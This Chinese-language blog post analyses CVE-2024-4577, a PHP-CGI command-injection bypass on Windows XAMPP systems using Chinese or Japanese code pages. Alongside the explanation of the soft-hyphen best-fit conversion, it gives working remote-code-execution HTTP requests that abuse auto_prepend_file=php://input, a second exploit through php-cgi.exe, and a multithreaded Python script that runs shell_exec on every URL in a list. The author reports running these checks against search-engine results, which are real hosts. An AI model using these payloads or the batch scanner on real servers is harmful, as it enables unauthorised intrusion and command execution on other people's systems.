古老漏洞的复活:php-cgi命令注入(CVE-2024-4577)漏洞分析

1.8k 词

概述

昨天台湾黑客Orange Tsai发布了关于一个PHP-cgi命令注入漏洞CVE-2024-4577的公告,介绍了一个十二年前漏洞的最新绕过,之后Devore发表了更详细的漏洞影响范围,主要影响Xampp for Windows环境以及代码页为简体/繁体中文与日文的系统。

看起来很厉害,实际上也很有趣,但影响并不像看起来广泛。我用fofa上前一千个符合条件的url测试,验证出漏洞的只有一个,fofa语法:

1
app="xampp" && (country="CN" || country="JP")

实际上利用条件比较苛刻。

漏洞原理

上面的博客和漏洞预警虽然信息丰富,但很难推断出漏洞具体如何利用,网上能搜到的poc也搞不明白原理。好在watchtowr很快发表了漏洞详细分析,让我们也能很快清楚利用细节。

实际上很容易,Tsai发现在中文/日文版本的Windows系统上,php-cgi会对字符做某种推断(best-fit),即将Unicode字符转为ASCII字符。例如短横线【-】有两种编码:

1
2
0x2D
0xAD

代码和命令中常用的都是0x2D编码的短横线,很明显,PHP安全配置与WAF主要过滤的也是0x2D编码,Apache Handler也不会转义0xAD版本的短横线。当然这也没什么,因为在代码中,只有0x2d版本才能被正常解释为连字符的【短横线】。

但如前所述,PHP对字符做出了best-fit推断,将0xAD转换为了0x2D,导致命令行参数可以被正常传递给cgi解释器,造成安全问题。

原理很清晰,那么如何进一步利用呢?

这里用到了一个古老的漏洞CVE-2012-1823,当时PHP还不会过滤命令行参数,用户可以直接从URL传入-s -d等可执行文件参数,例如下面的url:

1
http://host/index.php?-s

返回的不是PHP代码渲染后的网页,而是高亮的PHP源码。实际上是php-cgi执行了-s参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
user@debian:~$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f ]
php [args...]
-a Run interactively
-b | Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f Parse . Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z Load Zend extension .
-T Measure execution time of script repeated times.

当然只传入参数当然不够用,这个漏洞还允许执行代码,即用-d参数修改php.ini配置中的安全参数,再利用php://input伪协议从http请求体中传入具体命令,具体分析参见这篇博客

To exploit this bug, you want PHP to read PHP code from your HTTP request. To do that, you will need a PHP option that tells PHP to read from a file and points it to php://input.
要利用此错误,您需要 PHP 从您的 HTTP 请求中读取 PHP 代码。为此,您需要一个 PHP 选项,该选项告诉 PHP 从文件中读取并将其指向 php://input .

Luckily, PHP has an option named auto_prepend_file, which since version 4.2.3:
幸运的是,PHP 有一个名为 auto_prepend_file 的选项,从 4.2.3 版开始:

“Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used”.
“指定在主文件之前自动分析的文件的名称。该文件被包括在内,就好像它是用 require 函数调用的一样,因此使用了 include_path“。

The good thing about this option is that the content of the file is included before any other file, i.e.: before any other code is run.
此选项的好处是文件的内容包含在任何其他文件之前,即:在运行任何其他代码之前。

So you are sure that no other code will disrupt your exploitation attempt.
因此,您可以确定没有其他代码会破坏您的漏洞利用尝试。

However, if we want to use php://input, we need to have allow_url_include enabled, which is often not the case. But since we can redefine the INI entries, we can easily turn it on using -d allow_url_include=1.
但是,如果我们想使用 php://input ,我们需要启用 allow_url_include ,但通常情况并非如此。但是由于我们可以重新定义 INI 条目,因此我们可以轻松地使用 -d allow_url_include=1 打开它。

构造出这样的poc就能实现:

1
url?-d allow_url_include=1 -d auto_prepend_file=php://input

不过时境过迁,当年的漏洞早就在十二年前被修复,但上面的绕过又将其复活了。

漏洞利用

根据上面的分析,很容易构造poc:

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

返回得到phpinfo页面:

image-20240608213644700

注意:这里有个重要限制,绝大部分xampp服务器都是默认使用mod-php作为PHP脚本解释器的Server API,但我们的漏洞必须要php-cgi作为解释器才能复现。

所以从这里也能推出一种漏洞检测方法,请求url/dashboard/phpinfo页面,获取Server API字段的值,判断是否是cgi/FashCGI,如果不是那绝大概率不存在漏洞。

话虽如此,当然还是测试命令能否正常执行并返回更靠谱,所以写个批量检测脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import subprocess
import concurrent.futures

def check_vulnerability(url):
command = f'curl -X POST "{url}?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input" -H "Content-Type: application/x-www-form-urlencoded" --data "<?php echo shell_exec(\'dir\'); ?>"'

try:
result = subprocess.run(command, shell=True, capture_output=True)
response_text = result.stdout.decode('latin1') # 使用latin1解码
# print(response_text)
if "<DIR>" in response_text:
print(f"Vulnerability found in: {url}")
else:
print(f"No vulnerability in: {url}")
except Exception as e:
print(f"Error checking {url}: {e}")

def main():
with open('url.txt', 'r') as file:
urls = [line.strip() for line in file]

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
executor.map(check_vulnerability, urls)

if __name__ == "__main__":
main()

多线程运行,实际上调的是curl,所以用Linux跑更合适。

复现注意

使用xampp要注意配置为php-cgi解释器。

首先注释原本的Apache Handler解释器:

1
LoadModule php_module "E:/xampp/php/php8apache2_4.dll"

然后加上php-cgi配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 配置php-cgi/fastcgi做php解释器

# Comment out any existing PHP configuration
# Example: LoadModule php_module "modules/php_module.dll"

# Add the following lines to configure PHP-CGI
ScriptAlias /cgi-bin/ "E:/xampp/cgi-bin/"
ScriptAlias /php-cgi/ "E:/xampp/php/"

# Action to use PHP-CGI
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
AddHandler application/x-httpd-php .php

<Directory "E:/xampp/php">
Options +ExecCGI
AllowOverride All
Require all granted
</Directory>

<Directory "E:/xampp/cgi-bin">
AllowOverride All
Options +ExecCGI
Require all granted
</Directory>

之后直接测试-s%ads是否有效:

image-20240608220315305

发现出现于十二年前一样的回显。

没错,实际上就是这么简洁。

另一种利用

上面提到的文章中还有另一种不需要配置php-cgi的利用方式,但需要有下面的配置:

1
ScriptAlias /php-cgi/ "C:/xampp/php/"

是利用配置选项REDIRECT_STATUS=1 实现的,poc也很简洁:

1
2
3
4
5
6
7
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: {host}
REDIRECT-STATUS:1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

<?php system("dir")?>

测试:

image-20240609001905434

此时使用xampp默认配置也可以实现RCE。

留言